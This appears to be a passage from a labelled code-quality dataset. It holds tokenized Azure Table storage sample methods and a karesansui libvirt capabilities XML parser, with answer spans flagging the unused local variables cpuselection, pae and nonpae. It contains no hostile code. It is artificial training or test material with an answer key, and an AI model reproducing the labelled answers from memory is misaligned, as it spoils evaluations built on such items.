")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "dece", "ase", "d", "'_", ")_", "#", " ", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "birthday", "'_", ")_", "#", " ", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Replace", "s", " ", "entity", " ", "entire", "ly", " ", "if", " ", "eta", "g", " ", "matches_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "'", "abc", "12345", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "update", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ",_", "if", "\\u", "match_", "=_", "etag_", ")_", "#", " ", "Succeed", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service_", "._", "update", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ",_", "if", "\\u", "match_", "=_", "etag_", ")_", "#", " ", "Throw", "s", " ", "as", " ", "previ", "ous", " ", "update", " ", "change", "s", " ", "etag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Az", "ure", "Http", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "merge", "\\u", "entity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dece", "ase", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "birthday", "'_", ":_", "datetime_", "(_", "1991", "_", ",_", "10_", ",_", "4_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Replace", "s", " ", "entity", " ", "entire", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dece", "ase", "d", "'_", ":_", "True_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "merge", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "=_", "self_", "._", "service_", "._", "get", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", "[_", "'", "Partition", "Key", "'_", "]_", ",_", "entity_", "[_", "'", "Row", "Key", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "dece", "ase", "d", "'_", ")_", "#", " ", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "birthday", "'_", ")_", "#", " ", "datetime", "(", "1991", ",", " ", "10", ",", " ", "4", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Merge", "s", " ", "entity", " ", "if", " ", "eta", "g", " ", "matches_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "'", "abc", "12345", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "merge", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ",_", "if", "\\u", "match_", "=_", "etag_", ")_", "#", " ", "Succeed", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service_", "._", "merge", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ",_", "if", "\\u", "match_", "=_", "etag_", ")_", "#", " ", "Throw", "s", " ", "as", " ", "previ", "ous", " ", "update", " ", "change", "s", " ", "etag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Az", "ure", "Http", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "insert", "\\u", "or", "\\u", "merge", "\\u", "entity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dece", "ase", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "birthday", "'_", ":_", "datetime_", "(_", "1991", "_", ",_", "10_", ",_", "4_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Insert", "s", " ", "if", " ", "entity", " ", "doe", "s", " ", "not", " ", "alr", "ead", "y", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "or", "\\u", "merge", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Merge", "s", " ", "if", " ", "entity", " ", "alr", "ead", "y", " ", "exists_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "'", "abc", "12345", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "or", "\\u", "merge", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "=_", "self_", "._", "service_", "._", "get", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", "[_", "'", "Partition", "Key", "'_", "]_", ",_", "entity_", "[_", "'", "Row", "Key", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "id", "'_", ")_", "#", " ", "'", "abc", "12345", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "dece", "ase", "d", "'_", ")_", "#", " ", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "insert", "\\u", "or", "\\u", "replace", "\\u", "entity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dece", "ase", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "birthday", "'_", ":_", "datetime_", "(_", "1991", "_", ",_", "10_", ",_", "4_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Insert", "s", " ", "if", " ", "entity", " ", "doe", "s", " ", "not", " ", "alr", "ead", "y", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "or", "\\u", "replace", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Replace", "s", " ", "if", " ", "entity", " ", "alr", "ead", "y", " ", "exists_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "'", "abc", "12345", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "or", "\\u", "replace", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "=_", "self_", "._", "service_", "._", "get", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", "[_", "'", "Partition", "Key", "'_", "]_", ",_", "entity_", "[_", "'", "Row", "Key", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "id", "'_", ")_", "#", " ", "'", "abc", "12345", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "receive", "d\\u", "entity_", "._", "get_", "(_", "'", "dece", "ase", "d", "'_", ")_", "#", " ", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "entity_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "table", "\\u", "name_", "=_", "self_", "._", "\\u", "create", "\\u", "table_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Delete", "s", " ", "entity_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", "[_", "'", "Partition", "Key", "'_", "]_", ",_", "entity_", "[_", "'", "Row", "Key", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Delete", "s", " ", "entity", " ", "only", " ", "if", " ", "eta", "g", " ", "matches_", "\\u\\u\\uNL\\u\\u\\u_", "entity_", "=_", "{_", "'", "Partition", "Key", "'_", ":_", "'", "Joh", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Row", "Key", "'_", ":_", "'", "Do", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "'", "abc", "12345", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "service_", "._", "insert", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "service_", "._", "update", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", ",_", "if", "\\u", "match_", "=_", "etag_", ")_", "#", " ", "Succeed", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service_", "._", "delete", "\\u", "entity_", "(_", "table", "\\u", "name_", ",_", "entity_", "[_", "'", "Partition", "Key", "'_", "]_", ",_", "entity_", "[_", "'", "Row", "Key", "'_", "]_", ",_", "if", "\\u", "match_", "=_", "etag_", ")_", "#", " ", "Throw", "s", " ", "as", " ", "update", " ", "change", "s", " ", "etag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Az", "ure", "Http", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "service_", "._", "delete", "\\u", "table_", "(_", "table", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Table", "Samples_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "service", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Basic_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service_", "._", "set\\u", "table", "\\u", "service", "\\u", "properties_", "(_", "logging_", "=_", "Logging_", "(_", "delete_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hour", "\\u", "metrics_", "=_", "Metrics_", "(_", "enabled_", "=_", "True_", ",_", "include", "\\u", "apis_", "=_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "minute", "\\u", "metrics_", "=_", "Metrics_", "(_", "enabled_", "=_", "True_", ",_", "include", "\\u", "apis_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cors", "_", "=_", "[_", "Cor", "s", "Rule_", "(_", "allow", "ed", "\\u", "origins", "_", "=_", "[_", "'*'_", "]_", ",_", "allow", "ed", "\\u", "methods_", "=_", "[_", "'", "GET", "'_", "]_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Wait", " ", "30", " ", "second", "s", " ", "for", " ", "settings", " ", "to", " ", "propagate_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "30_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "props_", "=_", "self_", "._", "service_", "._", "get", "\\u", "table", "\\u", "service", "\\u", "properties_", "(_", ")_", "#", " ", "props", " ", "=", " ", "Service", "Proper", "ties", "()", " ", "w", "/", " ", "all", " ", "proper", "ties", " ", "specified", " ", "above_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Om", "itte", "d", " ", "proper", "ties", " ", "will", " ", "not", " ", "overwrit", "e", " ", "what", "'", "s", " ", "alr", "ead", "y", " ", "on", " ", "the", " ", "self", ".", "service_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Emp", "ty", " ", "proper", "ties", " ", "will", " ", "clear_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "service_", "._", "set\\u", "table", "\\u", "service", "\\u", "properties_", "(_", "cors", "_", "=_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Wait", " ", "30", " ", "second", "s", " ", "for", " ", "settings", " ", "to", " ", "propagate_", "\\u\\u\\uNL\\u\\u\\u_", "time_", "._", "sleep_", "(_", "30_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "props_", "=_", "self_", "._", "service_", "._", "get", "\\u", "table", "\\u", "service", "\\u", "properties_", "(_", ")_", "#", " ", "props", " ", "=", " ", "Service", "Proper", "ties", "()", " ", "w", "/", " ", "CORS", " ", "rule", "s", " ", "clear", "ed_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
karesansui/karesansui/karesansui/lib/virt/config_capabilities.py
[ { "content": " def load_xml_config(self,string):\n\n doc = XMLParse(string)\n xpath_prefix = \"/capabilities\"\n\n ###################\n # host section\n host_xpath = \"%s/host\" % xpath_prefix\n host = {}\n\n # host - cpu section\n host_cpu_xpath = \"%s/cpu\" % host_xpath\n cpu = {}\n cpu['arch'] = XMLXpath(doc, '%s/arch/text()' % host_cpu_xpath)\n cpu['model'] = XMLXpath(doc, '%s/model/text()' % host_cpu_xpath)\n topology = {}\n topology['sockets'] = XMLXpath(doc, '%s/topology/@sockets' % host_cpu_xpath)\n topology['cores'] = XMLXpath(doc, '%s/topology/@cores' % host_cpu_xpath)\n topology['threads'] = XMLXpath(doc, '%s/topology/@threads' % host_cpu_xpath)\n cpu['topology'] = topology\n\n features = {}\n feature = []\n feature_num = XMLXpathNum(doc, '%s/feature' % host_cpu_xpath)\n for n in range(1, feature_num + 1):\n name = XMLXpath(doc, '%s/feature[%i]/@name' % (host_cpu_xpath, n,))\n feature.append(name)\n vmx = XMLXpath(doc, '%s/features/vmx' % host_cpu_xpath)\n features['feature'] = feature\n features['vmx'] = vmx\n cpu['feature'] = features\n\n host['cpu'] = cpu\n\n # host - migration_features section\n host_migration_features_xpath = \"%s/migration_features\" % host_xpath\n migration_features = {}\n\n uri_transports = []\n uri_transport_num = XMLXpathNum(doc,'%s/uri_transports/uri_transport' % host_migration_features_xpath)\n for n in range(1, uri_transport_num + 1):\n uri_transport = XMLXpath(doc,'%s/uri_transports/uri_transport/text()' % host_migration_features_xpath)\n uri_transports.append(uri_transport)\n live = XMLXpath(doc, '%s/live' % host_migration_features_xpath)\n migration_features['uri_transports'] = uri_transports\n migration_features['live'] = live\n\n host['migration_features'] = migration_features\n\n ###################\n # guest section\n guest_xpath = \"%s/guest\" % xpath_prefix\n guests = []\n\n guest_num = XMLXpathNum(doc,'%s' % guest_xpath)\n for n in range(1, guest_num + 1):\n guest = {}\n\n os_type = XMLXpath(doc, '%s[%i]/os_type/text()' % (guest_xpath,n,))\n\n arch = {}\n name = XMLXpath(doc, '%s[%i]/arch/@name' % (guest_xpath,n,))\n wordsize = XMLXpath(doc, '%s[%i]/arch/wordsize/text()' % (guest_xpath,n,))\n emulator = XMLXpath(doc, '%s[%i]/arch/emulator/text()' % (guest_xpath,n,))\n machines = []\n machine_num = XMLXpathNum(doc, '%s[%i]/arch/machine' % (guest_xpath,n,))\n for m in range(1, machine_num + 1):\n machine = XMLXpath(doc, '%s[%i]/arch/machine[%i]/text()' % (guest_xpath,n,m,))\n machines.append(machine)\n domain = {}\n type = XMLXpath(doc, '%s[%i]/arch/domain/@type' % (guest_xpath,n,))\n domain['type'] = type\n arch['name'] = name\n arch['wordsize'] = wordsize\n arch['emulator'] = emulator\n arch['machine'] = machines\n arch['domain'] = domain\n\n features = {}\n cpuselection = XMLXpath(doc, '%s[%i]/features/cpuselection' % (guest_xpath,n,))\n pae = XMLXpath(doc, '%s[%i]/features/pae' % (guest_xpath,n,))\n nonpae = XMLXpath(doc, '%s[%i]/features/nonpae' % (guest_xpath,n,))\n acpi = {}\n default = XMLXpath(doc, '%s[%i]/features/acpi/@default' % (guest_xpath,n,))\n toggle = XMLXpath(doc, '%s[%i]/features/acpi/@toggle' % (guest_xpath,n,))\n acpi['default'] = default\n acpi['toggle'] = toggle\n apic = {}\n default = XMLXpath(doc, '%s[%i]/features/apic/@default' % (guest_xpath,n,))\n toggle = XMLXpath(doc, '%s[%i]/features/apic/@toggle' % (guest_xpath,n,))\n apic['default'] = default\n apic['toggle'] = toggle\n features['acpi'] = acpi\n features['apic'] = apic\n\n guest['os_type'] = os_type\n guest['arch'] = arch\n guest['features'] = features\n guests.append(guest)\n\n self.host = host\n self.guest = guests\n\n return { \"host\" :self.host, \"guest\":self.guest }", "metadata": "root.CapabilitiesConfigParam.load_xml_config", "header": "['class', 'CapabilitiesConfigParam', ':', '___EOS___']", "index": 127 } ]
[ { "span": "cpuselection ", "start_line": 206, "start_column": 12, "end_line": 206, "end_column": 24 }, { "span": "pae ", "start_line": 207, "start_column": 12, "end_line": 207, "end_column": 15 }, { "span": "nonpae ", "start_line": 208, "start_column": 12, "end_line": 208, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Capabilities", "Config", "Param_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "\\u", "xml", "\\u", "config_", "(_", "self_", ",_", "string_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "XML", "Parse_", "(_", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xpa", "th", "\\u", "prefix_", "=_", "\"/", "capab", "ilities", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "host", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "host", "\\u", "xpath_", "=_", "\"%", "s", "/", "host", "\"_", "%_", "xpa", "th", "\\u", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "host", " ", "-", " ", "cpu", " ", "section_", "\\u\\u\\uNL\\u\\u\\u_", "host", "\\u", "cpu", "\\u", "xpath_", "=_", "\"%", "s", "/", "cpu", "\"_", "%_", "host", "\\u", "xpath_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpu_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpu_", "[_", "'", "arch", "'_", "]_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "arch", "/", "text", "()'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpu_", "[_", "'", "model", "'_", "]_", "=_", "XML", "Xp", "ath_", "(_", "doc_", ",_", "'%", "s", "/", "model", "/", "text", "()'_", "%_", "host", "\\u", "cpu", "\\u", "xpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "topology_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 